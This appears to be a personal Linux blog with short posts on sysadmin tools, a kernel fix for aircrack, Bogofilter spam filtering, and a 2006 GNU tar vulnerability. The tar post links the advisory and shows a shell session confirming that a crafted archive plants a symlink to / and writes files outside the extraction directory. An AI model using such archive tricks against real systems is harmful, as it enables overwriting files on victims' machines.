linux
Sysadmin tools
cornet — Thu, 2007-03-01 00:49
There are a number of tools sysadmins should be looking at in order to make their life less hellish when it comes to configuration management.
Some tools that I have found so far are:
Kernel Sorted
cornet — Mon, 2007-02-12 01:11
Upgrading my kernel to 2.6.18 appears to have fixed the issue I was having with aircrack.
Now just need to write a script to make things a bit easier.
tar exploit in the wild
cornet — Tue, 2006-11-21 23:55
Just when you thought you were safe...
http://lists.grok.org.uk/pipermail/full-disclosure/2006-November/050812.html
Have tested this and it works as described:
nathan@holly /tmp $ tar --version tar (GNU tar) 1.15.1 nathan@holly /tmp $ ~/tmp/tarxyz > foo.tar nathan@holly /tmp $ mkdir -p xyz/home/foo nathan@holly /tmp $ echo "Hello" > xyz/home/foo/hello.txt nathan@holly /tmp $ tar -rf foo.tar xyz/home/foo nathan@holly /tmp $ rootdo mkdir /home/foo nathan@holly /tmp $ rootdo chown nathan /home/foo nathan@holly /tmp $ rm -rf xyz nathan@holly /tmp $ tar -xf foo.tar nathan@holly /tmp $ ls -l xyz lrwxrwxrwx 1 nathan users 1 Nov 22 00:03 xyz -> / nathan@holly /tmp $ cat /home/foo/hello.txt Hello nathan@holly /tmp $
Bogofilter
cornet — Sat, 2006-11-04 02:47
I, and other people on my server, are having SPAM issues again. Spamassassin is great but it eats RAM for breakfast about the same rate it eats SPAM.
After some hunting I think I have found a solution:
Bogofilter is a mail filter that classifies mail as spam or ham (non-spam) by a statistical analysis of the message's header and content (body). The program is able to learn from the user's classifications and corrections.
Bogofilter Home Page
Happy SPAM munching.